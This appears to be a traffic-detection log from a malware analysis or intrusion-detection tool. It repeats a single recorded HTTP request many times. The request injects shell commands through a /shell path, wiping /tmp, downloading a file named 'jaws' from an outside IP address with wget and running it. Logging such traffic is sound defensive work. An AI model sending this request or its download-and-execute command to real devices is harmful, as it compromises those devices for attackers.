Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
